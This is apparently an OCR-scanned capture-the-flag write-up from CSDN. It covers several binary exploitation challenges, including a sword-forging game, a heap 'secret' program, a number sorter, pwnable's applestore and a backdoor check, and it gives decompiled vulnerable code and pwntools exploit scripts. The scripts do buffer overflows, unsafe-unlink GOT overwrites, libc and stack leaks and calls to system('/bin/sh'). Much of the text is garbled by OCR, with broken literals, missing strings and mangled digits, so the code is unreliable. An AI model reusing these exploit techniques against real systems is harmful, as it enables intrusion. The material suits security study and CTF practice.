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286 metasequoia_ 2020 blacksmith

FORTI

sub_4087E7("Welcome 2 MetasequoiaCTF!");
puts(
"The Demon Dragon has been destroying our world for long. Many others tried their best to fought him, but none of the"
"m ever came back. Now, YOU are our only hope...\n");
puts("First, let our BEST blacksmith gear you up.\n");
while ( 1)
{
sub_48683E();
V3 = 8;
__1iso0c99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
forge("%d", &v3);
break;
case 2:
throw("%d", &v3);
break;
case 3:
show("%d", &v3);
break;
case 4:
rename("%d", &v3);
break;
case 5: |
exit(e);
default:
puts("Invalid choice!");
break;
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forge

ﬁnt __fastcall forge(const char *al)
{

size_t nbytes; // [rsp+8h] [rbp-48h] BYREF
char buf[64]; // [rsp+1eh] [rbp-46h] BYREF

nbytes = @LL;
puts("Forging...");
puts("What's the size of this sword's name?");
__is0c99_scanf("%d", &nbytes);
if ( (int)nbytes > 63 )
return puts("The name is too long!");
puts("And the name is?");
read(@, buf, nbytes);
return puts("Here you are, the new sword!\n");
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int sub_4e07D6()
{

return system("cat flag");

}
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from pwn import

r remote ( , 27197)

r.sendlineafter( 5
r.sendlineafter( 5 )

payload Ox48 + p64(0x4007d6)
r.sendlineafter( , payload)

r.interactive()
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P = ey g
if (ve ==2)
{
if ( duord 602088 )
{

qword_6020A0 = calloc(luLL, ©xFAGuLL);
dword_6020B8 = 1;

puts("Tell me your secret: ");

read(@, qword_6020A@, ©xFAeuLL);

}
}
else if ( v@ == 3 )

{
if ( !dword_6©20BC )
{ '
qword_6020A8 = calloc(luLL, ©x61A80uLL);
dword_6020BC = 1;
puts("Tell me your secret: ");
read(e@, qword_6€20A8, ex61A8eulLlL);

}
}
else if ( v@ == 1 && !dword_6©20CE )
{ - T —

buf = calloc(1lulLL, ©x28ulLl);
dword_6020C0 = 1;
puts("Tell me your secret: ");
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v = dLUJ.l\‘.‘-},
switch ( ve )
{
case 2:
free(gqword_6020A0);
dword_6020B8 = @;
break;
case 3:
free(gword_6028A8);
dword_6020BC = ©;
break;
case 1:
free(buf);
dword_6020C0 = 0,
break:
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exp

from pwn import
context.log level

r process(

elf = ELF( )

huge_secret 0x6020A8
0x602090
elf.got|
elf.plt[
elf.got|

def new(h_type,content):
r.sendlineafter( )
r.sendlineafter( (h_type))
r.sendlineafter( ,content)

def delete(h_type):
r.sendlineafter( )

r.sendlineafter( (h_type))

def edit(h_type,content):




r.sendlineafter( )
r.sendlineafter( (h_type))
r.sendafter( ,content)

new(3, 0x100)
s 0x10)
0x100)

fake chunk = p64(9) p64(0x21)
fake chunk p64(huge_secret-0x18) p64(huge_secret-0x10)
fake_chunk.ljust(0x20, )
p64(0x20) + p64(0x90) 0x80
p64(0x90) + p64(0x81) 0Xx70

p64(0) + p64(0x81)

2 p64(free_got) p64(bss_addr) p64(read_got) p32(1)*3

ub4(sh.recvuntil( ,drop = True).ljust(8,
read_addr libc.sym[
libc_base libc.sym[
libc_base libc.search(
5 (read_addr)
(system_addr)

r.interactive()
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sub_8B5();
__printf_chk(1, "What your name :");
read(@, buf, ex4eu);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__is0c99_scanf("%u", &v&);
V3 = V8
if (v )
{

vd = v9;

for (1 =03 1 < vE) ++1 )

{

__printf_chk(1, "Enter the %d number : ");

fflush(stdout);
__1s0c99_scanf("%u", v4);
v3 = \.-‘8_;

vad += 4;

¥
¥
sub_931(v9, v3);
puts("Result :");
if (v )
{
for ( ] =@; ] < VE; ++] )
__printf_chk(1, "%u ");

L ad

esult = 0;

if ( __readgsdword(@x14u) != vi11 )
sub_BA@();

return result;
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v8 = ___readgsdword(@ex14u);
puts("Processing...... ");
sleep(lu);
if (a2 1=1)
{
v2 = a2 - 2;
for ( 1 = (int)&al[a2 - 1]; ; 1 -= 4 )
{
if ((v2 1= -1)
{
ve = al;
do
{
v4 *ve;
v5 = ve[1];
if ( *ve > v5 )
{
*v6 = v5;
ve[1l] = v4;

}

++vE}

}
while ( (unsigned int *)i != vé6 );
if ( lv2 )

break;

}

--v2;
}

} CSDN @yongbaoii
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from pwn import

context.log level

p remote( ,29170)
libc ELF( )

p.sendlineafter(

p.recvuntil( 0x18)

u32(p.recv(4))-0x1boooa
(libc_base)

system =1libc_base libc.symbols|

bin_sh libc_base +libc.search(

p.sendlineafter(

for i in (24):
p.sendlineafter(

p.sendline( )

for i in (9):
p.sendlineafter( (system))

p.sendline( (bin_sh))

p.interactive()

289 pwnable_applestore

RUNP ' 0ls FORTIFY

No A Yes




v2 = __readgsdword(@xl4u);

while ( 1)

{
printf ("> ");
fflush(stdout);

my_read(nptr, ©xl5u);
switch ( atoi(nptr) )
{
case 1:
list();
break:;
case 2:
add();
break;
case 3:
delete();
break;
case 4.
cart();
break;
case 5:
checkout();
break;
case 6:
puts(“Thank You for Your Purchase!");
return __readgsdword(@x14u) ~ v2;
default:
puts(“It's not a choice! Idiot.");

break; CSDM
Jortn TN
listi& i
|int 1list()
H
puts("=== Device List ===");

printf("%d: iPhone 6 - $%d\n", 1, 199);
printf("%d: iPhone 6 Plus - $%d\n", 2, 299);
printf("%d: iPad Air 2 - $%d\n", 3, 499);
printf("%d: iPad Mini 3 - $%d\n", 4, 399);
return printf("%d: iPod Touch - $%d\n", 5, 199);

CSDN @yongbaoii

add

v3 = __readgsdword(@xl4u);
printf("Device Number> ");
fflush(stdout);
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my_read(nptr, @x15u);
switch ( atoi(nptr) )
{
case 1:
vl = (const char **)create("iPhone 6", 199);
insert(vl);
goto LABEL_S8;
case 2:
vl = (const char **)create("iPhone 6 Plus", 299);
insert(vl);
goto LABEL_S8;
case 3:
vl = (const char **)create("iPad Air 2", 499);
insert(vl);
goto LABEL_S8;
case 4:
vl = (const char **)create("iPad Mini 3", 399);
insert(vl);
goto LABEL_S;
case 5:
vl = (const char **)create("iPod Touch", 199);
insert(vl);
_ABEL_8:
printf("You've put *%s* in your shopping cart.\n", *vl);
puts("Brilliant! That's an amazing idea.");
break:;
default: C5DN @yongbaoi

char ** _cdecl create(const char *al, char *a2)

{
char **v3; // [esp+1Ch] [ebp-Ch]

v3 = (char **)malloc(@x16u);

v3[1l] = a2;

asprintf(v3, "%s", al);

v3[2] = ©;

v3[3] = ©;

return v3;
¥

CSDN @yongbaoii

create

char ** _cdecl create(const char *al, char *a2)

{
char **v3; // [esp+1Ch] [ebp-Ch]

v3 = (char **)malloc(@x16u);
v3[1l] = a2;
asnrintfluva_. "%" . 21):
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v3[2] = ©;
v3[3] = ©;

return v3;

C5DN @yongbaoi
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insert

int _ cdecl insert(int al)

{

int result; // eax
_DWORD *i; // [esp+Ch] [ebp-4h]

for ( 1 = &myCart; i[2]; 1 = (_DWORD *)i[2] )

i[2] = al;

result = al;

*(_DWORD *)(al + 12) = i;
return result;

} CSDN @yongbaoi
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delete

v7 = __readgsdword(©xl4u);
vi = 1;
v2 = dword_804Be70;

printf("Item Number> ");
fflush(stdout);
my_read(nptr, ©xl5u);

v3 = atoi(nptr);

while ( v2 )

{
if (vl == v3 )
{

v4 = *(_DWORD *)(v2 + 8);

v5 = *(_DWORD *)(v2 + 12);
if (v5 )

*(_DWORD *)(v5 + 8) = v4;
if (va)

*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", vl, *(const char **)v2);
return __readgsdword(@x14u) ~ v7;

}

++vl;
v2 = *(_DWORD *)(v2 + 8);

}

return __readgsdword(@x14u) ~ v7;

} C5DN @yongbaoi
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cart

v6 = __readgsdword(@xl4u);

vz = 1;

v3 = 8;

printf(“Let me check your cart. ok? (y/n) > ");
fflush(stdout);

my_read(buf, @x15u);

if ( bUf[B] == 121 )

{
puts("==== Cart ====");
for ( 1 = dword_804B@76; i; 1 = *(_DWORD *)(1i + 8) )
{
v = v2++;
printf("%d: %s - $%d\n", v@, *(const char **)i, *(_DWORD *)(i + 4));
v3 += *(_DWORD *)(i + 4);
¥
¥

return vZ3;
CSDN @yongbaoii
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checkout

knsigned int checkout()
{
int v1; // [esp+1@h] [ebp-28h]
char *v2[5]; // [esp+18h] [ebp-28h] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]

v3 = __readgsdword(®xl14u);
vl = cart();

if ( vl == 7174 )

{

puts("*: iPhone 8 - $1");
asprintf(v2, "%s", "iPhone 8");
v2[1] = (char *)1;
insert((int)v2);
vl = 7175;
}
printf("Total: $%d\n", vl);
puts("Want to checkout? Maybe next time!");
return __readgsdword(®x14u) ~ v3;
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2.3t hlibc ik 5% HE 40 £ 1 i system $
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from pwn import

import struct
context(arch , log level
remote( , 26179)

def add(num):
p.sendlineafter(
p.sendlineafter(

def delete(ans):
p.sendlineafter(
p.sendlineafter(

def cart(ans):
p.sendlineafter(
p.sendlineafter(

def checkout(ans):
p.sendlineafter(
p.sendlineafter(

elf.got|[ ]
(got_atoi)

p32(got_atoi) (0xa - 2 - 4) p32(9)

u32(p.recv(4))
libc_addr libc.symbols|
libc_base libc.symbols|
libc_base libc.symbols|
(environ_libc)
(libc_addr)
(libc_base)




p32(environ_libc) 2 - 4) p32(9)

u3d2(p.recv(4))

(stack)

p32(stack) p32(0x12345678)

p32(got_atoi 0x22) p32(stack - ©x100 - Oxc)

delete(payload)

p.sendlineafter( ,» p32(system)

p.interactive()
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int __cdecl main(int argc, const char **argv, const char **envp)

{
int buf; // [rsp+8h] [rbp-18h] BYREF
unsigned __inte4 v5; // [rsp+8h] [rbp-8h]

v5 = _ readfsqword(©x28u);
setbuf(stdin, ©LL);
setbuf(stdout, ©LL);

puts("  _ __ — ")
puts(" | [/ /_—_ /7 _\\(Lo__—_ / /_");
puts(" | /NN /L NN M)
puts(" / |/ /SIS
puts(" /_/|_/ ._/\\__/_/_/ /_/\\__/ ");

puts (" /_/ ")
puts("Welcome, freshman!");
puts("This is your first pwn challenge, right?");
puts("Try to get into backdoor!");
puts("Tell me your secret number:");
read(@, &buf, 4uLL);
if ( buf == -1162167622 )

backdoor();
else

puts("Well, you don't know the trick yet?");
return 9;

} |
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